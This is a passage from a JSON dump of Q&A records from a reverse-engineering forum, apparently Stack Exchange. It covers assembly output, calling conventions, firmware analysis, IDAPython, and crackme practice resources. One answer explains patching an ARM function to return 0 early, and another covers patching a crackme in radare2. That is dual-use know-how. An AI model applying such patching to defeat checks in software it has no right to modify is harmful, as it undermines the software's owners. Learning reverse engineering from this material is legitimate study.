        "Answer": "<p>As you stated, returning in ARM/Thumb is to set the R0 register and return.</p>\n\n<p>You can patch the program a number of ways to do what you want. You can replace the top most instructions with <code>mov r0, 0</code> and <code>mov pc, lr</code> and leaving the remaining code as is would make it not execute those instructions after <code>mov pc, lr</code> and just return to the calling function.</p>\n\n<pre><code>MOV R0, 0\nMOV PC, LR\n// leave the rest as is, it wont execute\n</code></pre>\n\n<p>You can also patch starting after  STMFD SP!, {R4-R6,LR} with MOV R0, 0 and then nopping all the way to the return statement LDMFD SP!, {R4-R6,PC}.</p>\n\n<pre><code>STMFD SP!, {R4-R6,LR}\nMOV R0, 0\n// NOP ALL THE WAY TO:\nLDMFD SP!, {R4-R6,PC}\n</code></pre>\n\n<p>You can also just patch starting after <code>STMFD SP!, {R4-R6,LR}</code> with <code>MOV R0, 0</code> and then replacing the following instruction with <code>LDMFD SP!, {R4-R6,PC}</code> to return early making the rest of the code below it un-executed.</p>\n\n<pre><code>STMFD SP!, {R4-R6,LR}\nMOV R0, 0\nLDMFD SP!, {R4-R6,PC}\n// leave the rest as is, it wont execute\n</code></pre>\n"
    },
    {
        "Id": "14155",
        "CreationDate": "2016-12-12T20:18:30.913",
        "Body": "<p>I have following C++ code:</p>\n\n<pre><code>int main(){\n\n  int a = 1;\n  double d = 1.2;\n\n  return 0;\n}\n</code></pre>\n\n<p>and get the following assembly using GCC 6.2 -m32:</p>\n\n<pre><code>main:\n        lea     ecx, [esp+4]\n        and     esp, -8\n        push    DWORD PTR [ecx-4]\n        push    ebp\n        mov     ebp, esp\n        push    ecx\n        sub     esp, 20\n        mov     DWORD PTR [ebp-12], 1\n        fld     QWORD PTR .LC0\n        fstp    QWORD PTR [ebp-24]\n        mov     eax, 0\n        add     esp, 20\n        pop     ecx\n        pop     ebp\n        lea     esp, [ecx-4]\n        ret\n.LC0:\n        .long   858993459\n        .long   1072902963\n</code></pre>\n\n<p>and using MS CL 19:</p>\n\n<pre><code>_d$ = -12                                         ; size = 8\n_a$ = -4                                                ; size = 4\n_main   PROC\n        push     ebp\n        mov      ebp, esp\n        sub      esp, 12              ; 0000000cH\n        mov      DWORD PTR _a$[ebp], 1\n        movsd    xmm0, QWORD PTR __real@3ff3333333333333\n        movsd    QWORD PTR _d$[ebp], xmm0\n        xor      eax, eax\n        mov      esp, ebp\n        pop      ebp\n        ret      0\n_main   ENDP\n</code></pre>\n\n<p>I have several questions.</p>\n\n<ol>\n<li><p>what's  mean first three lines in GCC version?</p>\n\n<p><code>lea     ecx, [esp+4]</code></p>\n\n<p><code>and     esp, -8</code></p>\n\n<p><code>push    DWORD PTR [ecx-4]</code></p></li>\n<li><p>MS CL version allocates 12 bytes, 4 for int and 8 for double: </p>\n\n<p><code>sub      esp, 12  // that's great.</code></p>\n\n<p>But why GCC allocates 24?</p>\n\n<p><code>push ecx</code></p>\n\n<p><code>sub esp, 20</code></p></li>\n</ol>\n",
        "Title": "C++ to assembly, GCC vs CL",
        "Tags": "|disassembly|assembly|c++|disassemblers|gcc|",
        "Answer": "<p>Given that you didn't specify any optimization flag and used -m32, GCC performed no optimization on your code. The -m32 flag specifies the generation of a 32 bit code for a compiler configured to generate 64 bit code by default. In 32 bit mode, even with optimizations activated, GCC will generate a sub-optimal code given that the only way to do floating point computations in 32 bit mode on Intel machines is through <a href=\"https://en.wikipedia.org/wiki/X87\" rel=\"nofollow noreferrer\">x87</a> instructions. If you remove the -m32 flag and add -O3 (third level of optimization in GCC) you'll obtain the following assembly code (quite similar to the one generated by Microsoft's CL) :</p>\n\n<pre><code>.LC1:\n        .string \"%d %lf\\n\"\n        .section   .text.startup,\"ax\",@progbits\n        .p2align 4,,15\n        .globl  main\n        .type   main, @function\nmain:\n.LFB0:\n        .cfi_startproc\n        subq    $8, %rsp\n        .cfi_def_cfa_offset 16\n        movl    $1, %esi\n        movl    $.LC1, %edi\n        movsd   .LC0(%rip), %xmm0\n        movl    $1, %eax\n        call    printf\n        xorl    %eax, %eax\n        addq    $8, %rsp\n        .cfi_def_cfa_offset 8\n        ret\n        .cfi_endproc\n.LFE0:\n        .size   main, .-main\n        .section   .rodata.cst8,\"aM\",@progbits,8\n        .align 8\n.LC0:\n        .long   858993459\n        .long   1072902963 \n</code></pre>\n\n<p><strong>Note :</strong> I added a <strong>printf</strong> to the code because if the GCC optimization pass sees no use of the two variables, they will be removed (dead code elimination). I invite you to check out my post on the subject of optimized vs. non optimized code (<a href=\"https://reverseengineering.stackexchange.com/questions/4011/assembly-code-gcc-optimized-vs-not\">Assembly Code - GCC optimized vs not</a>).</p>\n\n<p>You can also notice that CL used an <em>XMM</em> register to store the 64 bit <em>double</em> element stored in .LC0. <em>XMM</em> registers are part of the SSE (Streaming SIMD Extensions) instruction set used mainly for floating point scalar &amp; vector operations. Its implementation is much cleaner and faster than the x87 instruction set. </p>\n\n<p>Q1 :</p>\n\n<pre><code>lea     ecx, [esp+4]      //load the content of [esp + 4] into ecx\nand     esp, -8           //align the stack pointer to 8 bytes (same as esp &amp; ~7)\npush    DWORD PTR [ecx-4] //push the content of [ecx - 4] on the stack \n\n[ecx - 4] = [[esp + 4] - 4]\n</code></pre>\n\n<p>Let's suppose the stack is in this state : </p>\n\n<pre><code>     |       main      |\n     |      return     |\n     |      address @  |\n     +-----------------+  &lt;--- esp + 4 ---&gt; ecx\n     |    some value   |\n     +-----------------+  &lt;--- esp = ebp\n</code></pre>\n\n<p>The first instruction puts the existing stack content (main return address @) in ecx. It is equivalent to this :</p>\n\n<pre><code>mov ecx, esp\nsub ecx, 4\nmov ecx, [ecx]\n</code></pre>\n\n<p>You can see that the lea instruction does in one take what these instructions do in three takes.</p>\n\n<p>The second instruction aligns esp on an 8 byte boundary. What that means is that the lower 3 order bits of the address pointed by esp will be 0. Memory accesses are faster on Intel machines when aligned on a power of 2 boundary.</p>\n\n<p>The third instruction changes the state of the stack to the following :</p>\n\n<pre><code>     |         @       |\n     +-----------------+  &lt;--- esp + 4 ---&gt; ecx\n     |    some value   |\n     +-----------------+  &lt;--- ebp\n     |       @ - 4     |  \n     +-----------------+  &lt;--- esp\n</code></pre>\n\n<p>Therefore, when the main function is done, it will return to @ - 4.</p>\n\n<p>Q2 :</p>\n\n<p>Let's reason mathematically :</p>\n\n<pre><code>         We have : EBP = ESP0 \n         push ecx implies ESP1 = ESP0 - 4 \n         then : ESP2 = ESP1 - 20 \n         therefore : ESP0 = ESP2 - 24\n         mov DWORD PTR [ebp-12], 1 implies x = EBP - 12 = ESP0 - 12\n         We know that ESP0 = ESP2 - 24\n         Therefore x = ESP2 - 24 - 12 = ESP2 - 36\n         fstp    QWORD PTR [ebp-24] implies y = EBP - 24 = ESP0 - 24\n         Therefore y = ESP2 - 24 - 24 = ESP2 - 48\n</code></pre>\n\n<p>Now, from this demonstration we extracted the location of the integer <em>x = ESP2 - 36</em>, and the location of the double <em>y = ESP2 - 48</em>.\nTo compute the distance between both variables, we subtract y from x and obtain the following : <em>x - y = ESP2 - 36 - ESP2 + 48 = 48 - 36 = 12</em>. And that's the amount of bytes used by GCC for storing both of your 32 bit/4 byte and 64 bit/8 byte variables.  </p>\n"
    },
    {
        "Id": "14160",
        "CreationDate": "2016-12-13T17:19:42.963",
        "Body": "<p>Is there any book or articles related to how C/C++ code is converted to assembly language, I mean common patterns for a specific compiler, etc?</p>\n",
        "Title": "C/C++ to Assembly language",
        "Tags": "|assembly|c++|c|compilers|gcc|",
        "Answer": "<p>Yes, there is a very good book (as in, it covers tons of patterns) at <a href=\"https://beginners.re/\" rel=\"nofollow noreferrer\">https://beginners.re/</a> - <a href=\"https://beginners.re/RE4B-EN.pdf\" rel=\"nofollow noreferrer\">https://beginners.re/RE4B-EN.pdf</a></p>\n\n<p>You can spend 5-10 years studying general theory of compilation, which will go forward during that time anyway, but if you need a reasonably quick compendium of current patterns for reference / quick training, use that book.</p>\n"
    },
    {
        "Id": "14161",
        "CreationDate": "2016-12-13T18:47:37.253",
        "Body": "<p>We are using FlexLM/Flexera/LMTOOLS (not sure which is the correct) as a licens manager for our Autodesk products. I don't know what version the server is, but I have a fairly old client version, LMTOOLS v11.10.0.0. In this you can perform an enquiry and get a somewhat obscure text back as result which tells you what licenses are beeing used/checked out and by who.</p>\n\n<p>I'm trying to programmatically do the same server status enquiry, and capture the response and use some regexp to figure out who is using specific licenses from our license pool.</p>\n\n<p>I've tried to use Wireshark and Fiddler to sniff the network traffic and figure out how the client is talking to the server, but with no success.</p>\n\n<p>So my question: is it even possible to make the same request in my own program (C#), and where can I learn more about it?</p>\n\n<p>Thanks!</p>\n",
        "Title": "Reverse engineer LMTools server status enquiry",
        "Tags": "|networking|",
        "Answer": "<p>This is possible using the APIs available in the FlexNet Publisher SDK. I suggest you to consult the SDK documentation and contact Flexera support in case of problems.</p>\n\n<p>In theory you could also observe the traffic between the client and the license server and deduce the packet format (this is known as \"<a href=\"https://www.samba.org/ftp/tridge/misc/french_cafe.txt\" rel=\"nofollow noreferrer\">French Caf\u00e9 technique</a>\" and was used to develop the Samba project), but this can be a pretty complex and long task.</p>\n"
    },
    {
        "Id": "14165",
        "CreationDate": "2016-12-14T08:47:26.827",
        "Body": "<p>I'm learning (and re-learning) C and assembly, and I came across a difference between what I've been taught and the actual result I have.</p>\n\n<p>Some code:</p>\n\n<pre><code>int test(int a, int b){\n  return a + b;\n}\n\nint main(){\n  test(1,2);\n}\n</code></pre>\n\n<p>As you can see, it's a really simple example in which I try to understand how values are passed around function.</p>\n\n<p>I've been taught that to pass variable to functions, the values must be pushed to the stack, in reverse order, to be accessible then with the base pointer, something like (simplified writing):</p>\n\n<pre><code>-- main\n...\nmov   [esp+8] 0x02\nmov   [esp] 0x01\ncall  0x...  &lt;test&gt;\n...\n</code></pre>\n\n<p>And then you can get back those values directly from the stack using:</p>\n\n<pre><code>-- test\n...\nmov   esi [esp+8]\nadd   esi [esp]\nmov   eax esi\n...\n</code></pre>\n\n<p>I'm perfectly OK with this (although I may not have understood everything), but what is strange to me is the practical result I get when playing with it in gdb:</p>\n\n<pre><code>$ gcc -g stack.c\n$ gdb a.out\n\n(gdb) disass main\nDump of assembler code for function main:\n   0x0000000100000f70 &lt;+0&gt;:     push   rbp\n   0x0000000100000f71 &lt;+1&gt;:     mov    rbp,rsp\n   0x0000000100000f74 &lt;+4&gt;:     sub    rsp,0x10\n-&gt; 0x0000000100000f78 &lt;+8&gt;:     mov    edi,0x1\n-&gt; 0x0000000100000f7d &lt;+13&gt;:    mov    esi,0x2\n   0x0000000100000f82 &lt;+18&gt;:    call   0x100000f50 &lt;test&gt;\n   0x0000000100000f87 &lt;+23&gt;:    xor    esi,esi\n   0x0000000100000f89 &lt;+25&gt;:    mov    DWORD PTR [rbp-0x4],eax\n   0x0000000100000f8c &lt;+28&gt;:    mov    eax,esi\n   0x0000000100000f8e &lt;+30&gt;:    add    rsp,0x10\n   0x0000000100000f92 &lt;+34&gt;:    pop    rbp\n   0x0000000100000f93 &lt;+35&gt;:    ret\nEnd of assembler dump.\n(gdb) disass test\nDump of assembler code for function test:\n   0x0000000100000f50 &lt;+0&gt;:     push   rbp\n   0x0000000100000f51 &lt;+1&gt;:     mov    rbp,rsp\n-&gt; 0x0000000100000f54 &lt;+4&gt;:     mov    DWORD PTR [rbp-0x4],edi\n-&gt; 0x0000000100000f57 &lt;+7&gt;:     mov    DWORD PTR [rbp-0x8],esi\n   0x0000000100000f5a &lt;+10&gt;:    mov    esi,DWORD PTR [rbp-0x4]\n   0x0000000100000f5d &lt;+13&gt;:    add    esi,DWORD PTR [rbp-0x8]\n   0x0000000100000f60 &lt;+16&gt;:    mov    eax,esi\n   0x0000000100000f62 &lt;+18&gt;:    pop    rbp\n   0x0000000100000f63 &lt;+19&gt;:    ret\nEnd of assembler dump.\n</code></pre>\n\n<p>Here, instead of using the stack directly, the two values I'm passing to the function <code>test</code> are stored in the registers <code>esi</code> and <code>edi</code> (corresponding lines marked with <code>-&gt;</code>).</p>\n\n<p>Here's my setup:</p>\n\n<pre><code>$ gcc -v\nConfigured with: --prefix=/Applications/Xcode.app/Contents/Developer/usr --with-gxx-include-dir=/usr/include/c++/4.2.1\nApple LLVM version 7.0.2 (clang-700.1.81)\nTarget: x86_64-apple-darwin14.5.0\nThread model: posix\n\n\n$ gdb --version\nGNU gdb (GDB) 7.11.1\n...\nThis GDB was configured as \"x86_64-apple-darwin14.5.0\".\n...\n</code></pre>\n\n<p>My two questions are:</p>\n\n<ul>\n<li>Is this behavior related to my setup?</li>\n<li>Is it documented anywhere?</li>\n</ul>\n",
        "Title": "Passing argument through registers instead of the stack",
        "Tags": "|gdb|stack|gcc|arguments|",
        "Answer": "<p>This behavior is totally normal. The way functions are handled is usually described in what's called an <a href=\"https://en.wikipedia.org/wiki/Application_binary_interface\" rel=\"nofollow noreferrer\">ABI</a> (Application Binary Interface). It defines calling conventions which detail how a call is made in assembly code and how parameters are passed to a function using specific registers. I would recommend <a href=\"http://agner.org/optimize/optimizing_cpp.pdf\" rel=\"nofollow noreferrer\">Agner Fog's C++ Optimization Manual</a>. It contains extremely helpful information about Linux, Windows, and MacOS ABIs.   </p>\n"
    },
    {
        "Id": "14170",
        "CreationDate": "2016-12-14T18:40:16.573",
        "Body": "<p>I am learning reverse engineering, and would like a way to try out methods I'm learning. </p>\n\n<p>In web security, the way to try out and learn methods is a thing called DVWA. It is an insecure web app made for web security people to exploit. </p>\n\n<p>Is there something like this for reverse engineering?</p>\n",
        "Title": "Is there something like DVWA (Damn Vulnerable Web Application) for reverse engineering?",
        "Tags": "|decompilation|",
        "Answer": "<p>You can try your hand at analyzing programs which are used to introduce reverse engineering concepts in academia such the binaries available for download at RPI's \"Modern Binary Exploitation\" course page at <a href=\"http://security.cs.rpi.edu/courses/binexp-spring2015/\" rel=\"noreferrer\">http://security.cs.rpi.edu/courses/binexp-spring2015/</a> in the sections titled \"Tools and Basic Reverse Engineering\", \"Extended Reverse Engineering\" and \"Reverse Engineering Lab\". I believe the 11 or so crackmes included in the challenges.zip file are similar to the IOLI crackme files, for which there are many tutorials available.</p>\n\n<p>One of the binaries in the bombs.zip file is called \"cmubomb\" which is Carnegie Mellon University's binary bomb, <strike>also available at their student lab site <a href=\"http://csapp.cs.cmu.edu/2e/labs.html\" rel=\"noreferrer\">http://csapp.cs.cmu.edu/2e/labs.html</a>,</strike> for which there are also many tutorials across the web. </p>\n\n<p>NYU also has some reverse engineering \"challenge applications\" to analyze at <a href=\"https://github.com/isislab/Hack-Night#workshop-materials-5\" rel=\"noreferrer\">https://github.com/isislab/Hack-Night#workshop-materials-5</a>.</p>\n\n<p>Note: The binaries from the aforementioned sources are Linux ELF 32-bit executables. Almost all are unstripped. If you would like to analyze Windows binaries, you can get Win32 versions of the IOLI crackmes from <a href=\"https://github.com/radare/radare2book/tree/master/crackmes/ioli\" rel=\"noreferrer\">https://github.com/radare/radare2book/tree/master/crackmes/ioli</a>. The IOLI-crackme.tar.gz file available for download there contains 10 Windows PE32 executable files. </p>\n\n<p>Update: The CMU labs, including the binary bomb, now require an Instructor account to download.</p>\n"
    },
    {
        "Id": "14171",
        "CreationDate": "2016-12-14T21:43:07.973",
        "Body": "<p>Recently the Microsoft Visual Studio 2015 compiler finally complied with the C++ standards mandate to generate thread-safe code for function local statics. For the most part this works just fine but I ran into a situation on Windows XP where the following 3 instructions led to a blow up:</p>\n\n<pre><code>mov     eax,dword ptr fs:[0000002Ch]\nmov     ecx,dword ptr [MyModule!_tls_index (102eea44)]\nmov     ecx,dword ptr [eax+ecx*4]\n</code></pre>\n\n<p>Obviously the compiler seems to implement thread-safety by first poking into the TLS slot of the current thread. <code>fs:2Ch</code> is supposed to lead to the TLS array per documentation. However on Windows XP, <code>fs:2Ch</code> doesn't seem to be set. This returned 0 for me and so did the next instruction (<code>_tls_index</code> was also 0.) That led to the 3rd instruction blowing up as it was accessing invalid memory.</p>\n\n<p>Does anybody know why <code>fs:2Ch</code> might not be set on Windows XP? Function local statics are used all over our code and I can't imagine no one else running into this.</p>\n",
        "Title": "Thread local storage access on Windows XP",
        "Tags": "|disassembly|windows|thread|",
        "Answer": "<p>If your module is a DLL that is loaded dynamically by your executable, then Thread Local Storage won't be initialized on Windows XP for the DLL.</p>\n\n<p>Quoting from my <a href=\"http://pferrie.host22.com/papers/antidebug.pdf\" rel=\"nofollow noreferrer\">\"Ultimate\" Anti-Debugging Reference</a>, section 4, page 25:</p>\n\n<p>\"On Windows Vista and later, dynamically-loaded DLLs also support Thread Local Storage. This is in direct contradiction to the existing Portable Executable format documentation, which states that \"Statically declared TLS data objects ... can be used only in statically loaded image files. This fact makes it unreliable to use static Thread Local Storage data in a DLL unless you know that the DLL, or anything statically linked with it, will never be loaded dynamically with the LoadLibrary API function\".</p>\n"
    },
    {
        "Id": "14177",
        "CreationDate": "2016-12-15T05:39:50.767",
        "Body": "<p>I'm trying to learn firmware analysis. The device I chosen was my Motorola SBG901 modem. I managed to dump the memory contents via JTAG using the FlashcatUSB adapter. The memory dump is about 8MB in size. Now this is where I am lost I'm trying to analyze the dump. But I don't know where to start. I have used binwalk on it which I believe brought back false positives as the output was as follow:</p>\n\n<pre><code>DECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n67434         0x1076A         Certificate in DER format (x509 v3), header length: 4, sequence length: 803\n68243         0x10A93         Certificate in DER format (x509 v3), header length: 4, sequence length: 1024\n70361         0x112D9         Certificate in DER format (x509 v3), header length: 4, sequence length: 808\n71175         0x11607         Certificate in DER format (x509 v3), header length: 4, sequence length: 988\n81036         0x13C8C         Certificate in DER format (x509 v3), header length: 4, sequence length: 866\n81908         0x13FF4         Certificate in DER format (x509 v3), header length: 4, sequence length: 983\n82897         0x143D1         Certificate in DER format (x509 v3), header length: 4, sequence length: 864\n89278         0x15CBE         Certificate in DER format (x509 v3), header length: 4, sequence length: 803\n90087         0x15FE7         Certificate in DER format (x509 v3), header length: 4, sequence length: 1024\n92205         0x1682D         Certificate in DER format (x509 v3), header length: 4, sequence length: 808\n93019         0x16B5B         Certificate in DER format (x509 v3), header length: 4, sequence length: 988\n102880        0x191E0         Certificate in DER format (x509 v3), header length: 4, sequence length: 866\n103752        0x19548         Certificate in DER format (x509 v3), header length: 4, sequence length: 983\n104741        0x19925         Certificate in DER format (x509 v3), header length: 4, sequence length: 864\n111122        0x1B212         Certificate in DER format (x509 v3), header length: 4, sequence length: 803\n111931        0x1B53B         Certificate in DER format (x509 v3), header length: 4, sequence length: 1024\n114049        0x1BD81         Certificate in DER format (x509 v3), header length: 4, sequence length: 808\n114863        0x1C0AF         Certificate in DER format (x509 v3), header length: 4, sequence length: 988\n124724        0x1E734         Certificate in DER format (x509 v3), header length: 4, sequence length: 866\n125596        0x1EA9C         Certificate in DER format (x509 v3), header length: 4, sequence length: 983\n126585        0x1EE79         Certificate in DER format (x509 v3), header length: 4, sequence length: 864\n</code></pre>\n\n<p>I believe binwalk gave false postive output as the dump probably isn't a packed image. I say this because I also ran strings on the dump and received a lot of readable strings a snippet is shown below:</p>\n\n<p><a href=\"https://i.stack.imgur.com/lWkFJ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lWkFJ.png\" alt=\"Out from running strings on dump\"></a></p>\n\n<p>I'm tryring to extract the firmware so I can use QEMU and try to do some vulnerability findings. I'm doing this for knowledge sake but I am inexperience with reading dump files. Can someone point me in the direction that would teach me how to decipher the memory dump and eventually extract the firmware. I really want to learn how to read the dump because I plan to analyze other firmwares hence I want to learn the essentials. For instance I know that there are firmwares that are packed/unpacked and/or encrypted/unencrypted. They usually consist of bootloaders, OS, filesystem, libraries, and apps (such as webserver). Can some point me in the direction of some useful resource that will teach me how to read dump and determine how to get the firmware out with all right files (filesystem, bootloader, apps, etc...)?</p>\n\n<p>Thanks in advance</p>\n",
        "Title": "Memory dump analysis",
        "Tags": "|binary-analysis|firmware|memory-dump|",
        "Answer": "<p>If you only want the firmware, you can find it in this <a href=\"http://sourceforge.net/projects/sbg901.arris/\" rel=\"nofollow noreferrer\">link</a>.\nAnd this <a href=\"https://wikidevi.com/wiki/Motorola_SURFboard_SBG901\" rel=\"nofollow noreferrer\">link</a> might be of use. Apparently the chip on your box is a BCM3361, a MIPS32 according to Broadcom. I think you can emulate it with QEMU, no obvious issues there.</p>\n\n<p>Your dump is more likely to be a mix of code and data. It's pretty hard to dissociate data from code; you'll have to go in with a substantial entropy analysis (data and code entropy are very different). You can check the different Binwalk options <a href=\"https://github.com/devttys0/binwalk/wiki/Usage\" rel=\"nofollow noreferrer\">here</a>, the explanations are pretty clear. </p>\n"
    },
    {
        "Id": "14196",
        "CreationDate": "2016-12-18T21:53:27.227",
        "Body": "<p>I feel dumb for needing to ask, but I've been annoyed by this several times in the past and have yet to come across the answer.</p>\n\n<p>Sometimes, when rearranging tabs in IDA Pro, I accidentally detach the tab from the main window, leaving it floating in its own window. The problem is that I have no idea how to reattach it, so generally when that happens I have to close it and reopen that view in the main window, which isn't the best solution.</p>\n\n<p>In other programs that do the whole \"a tab can be detached as its own window\" thing, generally there's something that appears on the main window to signal that's where you need to drag it to to reattach it. Browsers do a slightly different thing in that you just drag the tab back to the tab bar. Neither of those work in IDA, and I can't find anything in the menu.</p>\n",
        "Title": "How to reattach tabs in IDA?",
        "Tags": "|ida|",
        "Answer": "<p>Well, I managed to figure it out. If you click on the small gray bar just below the titlebar, you can drag it back to the main window. If you hover over the gray bar, it will tell you as much, but the fact that it's just below the titlebar (which is what you'd normally click to drag the window around), it's easy to miss.</p>\n\n<p>Edit:\nIf you want to reset all tabs to their locations. Just click Window -> reset desktop. This is current at least in version 7.2 . </p>\n"
    },
    {
        "Id": "14206",
        "CreationDate": "2016-12-20T22:11:29.483",
        "Body": "<p>I'm looking for help in analyzing a few .bin files. I have a program that installs a \"firmware\" update when I connect my camera through USB. </p>\n\n<p>I'm on a Mac Os Sierra. Inside the Applications Folder under this Camera App/../../ I find a folder called Resources.</p>\n\n<p>Actual files can be downloaded here: <a href=\"https://i.stack.imgur.com/46jLg.jpg\" rel=\"nofollow noreferrer\">.bin</a> (if you're interested)</p>\n\n<p>I did a binwalk -e to extract the data from each .bin and the did a FILE command to understand a little more of what each individual is. Here are my results below:</p>\n\n<p><a href=\"https://i.stack.imgur.com/6tq5j.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6tq5j.png\" alt=\"enter image description here\"></a></p>\n\n<p>I highlighted files I thought were interesting or/and were linked or related. (Again I'm not too sure what the crap I'm doing) </p>\n\n<p>I'd love to get some feedback on someone who better understands all of this. I'm trying to find the \"firmware\" and possibly decompile it and add a few things then put it all back together.</p>\n\n<p>Thanks</p>\n\n<hr>\n\n<p>John Doe,</p>\n\n<p>Again thanks. Here are some images of what I was able to get working on my PC laptop using CHIPSCOPE. Chipscope came with Xilinx WebPack, like I said above in my comment. I was able to connect to my Xilinx via JTAG ports but not much past that. I'll have to research further into how to utilize the microblazer tool chains... </p>\n\n<p><a href=\"https://i.stack.imgur.com/46jLg.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/46jLg.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>So should I bring over the .ELF files from my Mac and open them up with my SDK Tools? Or better question, where can I learn more about this process so I stop asking stupid questions? I'm not too familiar with how to use the Xilinxs SDK Tools and how to configure the FPGA with these microblazers .ELF files.</p>\n\n<p><a href=\"https://i.stack.imgur.com/HoUA3.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/HoUA3.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>Thanks again.</p>\n",
        "Title": ".bin files Firmware",
        "Tags": "|binary-analysis|firmware|binary|binary-diagnosis|fpga|",
        "Answer": "<p>Your camera has a Xilinx FPGA inside. FPGA design likely includes Microblaze soft CPU core. Files extracted by binwalk appear to be valid ELF files, so you'll just need to download Microblaze toolchain. The easiest way to do so is to download Vivado WebPack (it's free) and install it \u2014 you'll find a toolchain in the Xilinx SDK folder.</p>\n\n<pre><code>$ microblazeel-xilinx-linux-gnu-readelf.exe -S 218CC2\nThere are 20 section headers, starting at offset 0x111554:\n\nSection Headers:\n  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al\n  [ 0]                   NULL            00000000 000000 000000 00      0   0  0\n  [ 1] .vectors.sw_excep PROGBITS        00000008 0000b4 000008 00  AX  0   0  4\n  [ 2] .vectors.interrup PROGBITS        00000010 0000bc 000008 00  AX  0   0  4\n  [ 3] .vectors.hw_excep PROGBITS        00000020 0000c4 000008 00  AX  0   0  4\n  [ 4] .text             PROGBITS        c20ca400 0000cc 0b7cd0 00 WAX  0   0 16\n  [ 5] .init             PROGBITS        c21820d0 0b7d9c 000038 00  AX  0   0  4\n  [ 6] .fini             PROGBITS        c2182108 0b7dd4 000020 00  AX  0   0  4\n  [ 7] .rodata           PROGBITS        c2184000 0b7df4 012ca7 00  Ao  0 128684 8192\n  [ 8] .sdata2           NOBITS          c21a36ac 0d76ac 000004 00  WA  0   0  1\n  [ 9] .data             PROGBITS        c21a36b0 0caa9b 0461be 00 WAo  0 869620  4\n  [10] .ctors            PROGBITS        c2277ba4 110c59 000004 00 WAo  0   8  4\n  [11] .dtors            PROGBITS        c2277bac 110c5d 000004 00 WAo  0   8  4\n  [12] .eh_frame         PROGBITS        c2277bb4 110c61 0007b5 00 WAo  0 2048  4\n  [13] .jcr              PROGBITS        c22783b4 111416 000002 00 WAo  0   4  4\n  [14] .gcc_except_table PROGBITS        c22783b8 111418 000080 00 WAo  0 140  4\n  [15] .sdata            NOBITS          c2278444 1ac440 000004 00  WA  0   0  1\n  [16] .bss              NOBITS          c2278448 1ac440 002244 00  WA  0   0  4\n  [17] .stack            NOBITS          c227a690 1ac440 000c00 00  WA  0   0  1\n  [18] .heap             NOBITS          c227b290 1ac440 1dd84d70 00  WA  0   0  1\n  [19] .shstrtab         STRTAB          00000000 111498 0000ba 00      0   0  1\nKey to Flags:\n  W (write), A (alloc), X (execute), M (merge), S (strings)\n  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)\n  O (extra OS processing required) o (OS specific), p (processor specific)\n</code></pre>\n"
    },
    {
        "Id": "14210",
        "CreationDate": "2016-12-21T07:20:12.660",
        "Body": "<p>I'm interested in learning. Where can I find CrackMes for beginners? Especially ones with answers.</p>\n",
        "Title": "Where can I find CrackMes for beginners?",
        "Tags": "|crackme|",
        "Answer": "<p>Try these two links, they are full of resources : </p>\n\n<ol>\n<li><a href=\"https://johannesbader.ch/projects/solutions-to-crackmes/\" rel=\"nofollow noreferrer\">https://johannesbader.ch/projects/solutions-to-crackmes/</a></li>\n<li><a href=\"https://tuts4you.com/download.php?list.61\" rel=\"nofollow noreferrer\">https://tuts4you.com/download.php?list.61</a></li>\n</ol>\n"
    },
    {
        "Id": "14214",
        "CreationDate": "2016-12-21T14:13:07.043",
        "Body": "<p>For PowerPCs how do you find out the TOC address or the SDA address? \nLike for example in this <a href=\"https://reverseengineering.stackexchange.com/questions/13923/how-to-dissassemble-motorola-freescale-nxp-powerquicc-excutable\">case</a>.</p>\n",
        "Title": "PowerPC reversing finding the SDA and the TOC",
        "Tags": "|ida|powerpc|",
        "Answer": "<p><code>SDA</code> is <code>r13</code>, and it changes very rarely. So finding any assignment to r13 will solve the problem for SDA.</p>\n\n<p>Specifically for the referred example it was</p>\n\n<pre><code>lis       r13, 1        # Load Immediate Shifted\naddi      r13, r13, -0x2BF0 # 0xD410 # Add Immediate\n</code></pre>\n"
    },
    {
        "Id": "14215",
        "CreationDate": "2016-12-21T14:33:52.460",
        "Body": "<p>Im a newbe in radare and while I tried to patch a crackme binary, I opened it the first time in debug mode (-d), while debugging I used oo+ to reopen it with write mode, when I modify an instruction using wx, it works but when I quit it gives me two confirmation messages with yes no I press enter two times, then it get back to the original stat, and loose the modification, \nHow could I keep changes even after quitting ???</p>\n",
        "Title": "Binary patching using radare2 in debug mode",
        "Tags": "|radare2|patching|",
        "Answer": "<p>This is normal and expected behaviour. when you are in the debugger what you are modifying is the process memory, not the disk file.</p>\n"
    },
    {
        "Id": "14218",
        "CreationDate": "2016-12-21T17:33:29.750",
        "Body": "<p>Consider the following instruction:\n<code>\n8D 8C 4E B0 2F FF FF  LEA    ECX, [ESI+ECX*2-0xD050]\n</code></p>\n\n<p>Using IDAPython, how can I extract the structure of the second operand? I'd like to know things like:</p>\n\n<ul>\n<li><code>ESI</code> is the base register</li>\n<li><code>ECX</code> is the index register</li>\n<li><code>2</code> is the index constant</li>\n<li><code>-0xD050</code> is the displacement constant</li>\n</ul>\n\n<p>Its ok if I have to make a bunch of IDAPython API calls together. So far, I've had to resort to string parsing, and I'd really like to get rid of this.</p>\n\n<hr>\n\n<p>The most relevant API function I've found is <code>idautils.DecodeInstruction()</code>, yet it doesn't seem to completely cover the structure of the second operand. See below for my exploration:</p>\n\n<pre><code>i = idautils.DecodeInstruction(&lt;ea from above&gt;)\n\n# operand type\nassert i.Op2.type == idc.o_disp\n\n# operand value type\nassert i.Op2.dtyp == idc.dt_dword\n\n# operand flags\nassert i.Op2.flags == idc.OF_SHOW\n\n# structure of o_displ operand is like:\n#\n#    Memory Reg [Base Reg + Index Reg + Displacement].\n\ndef get_reg_const(reg):\n    '''\n    fetch register number from string name.\n    '''\n    ri = idaapi.reg_info_t()\n    idaapi.parse_reg_name(reg, ri)\n    return ri.reg\n\n# we probably expect to find these constants in the operand structure\nassert get_reg_const('ecx') == 1\nassert get_reg_const('esi') == 6\n\n# the operand structure\nassert unsigned2signed(i.Op2.addr)  ==  0xD050  # displacement\nassert i.Op2.n          == 1   # operand number\nassert i.Op2.phrase     == 4   # \"number of register phrase\", don't know what this means\nassert i.Op2.reg       